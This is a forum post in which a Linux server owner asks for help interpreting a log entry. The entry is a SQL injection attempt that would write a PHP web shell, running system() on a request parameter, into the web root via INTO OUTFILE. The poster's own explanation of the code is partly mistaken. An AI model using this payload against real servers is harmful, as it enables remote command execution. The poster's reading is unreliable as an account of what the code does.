Jump to content

Recommended Posts

Hello all was reviewing my logs yesterday and found this. Its particularly interesting as my server is running Linux. Hoping to get some help interpreting it.

 

"union select"<?php if (isset($_REQUEST['cmd'])){ echo '<pre>'; system ($_REQUEST['cmd']); echo '</pre>'; ?><form action=<?php echo basebane($_SERVER['PHP_SELF'])?>><input type=text name=cmd size=20><input type=submit></form>","","","","","" into outfile "/var/www/html/testfile.php"/*

 

I'm fairly new to PHP but I believe the script does the following.

 

It attempts to set the $_REQUEST variable as cmd. If it is sucessful it calls the cmd variable. It then pipes the information entered in the submission form into testfile.php and runs it?

 

I don't understand what the echo"basename($_SERVER['PHP_SELF']) does though.

 

Any help would be greatly appreciated.

Link to comment
https://forums.phpfreaks.com/topic/218209-security-related-log-file/
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.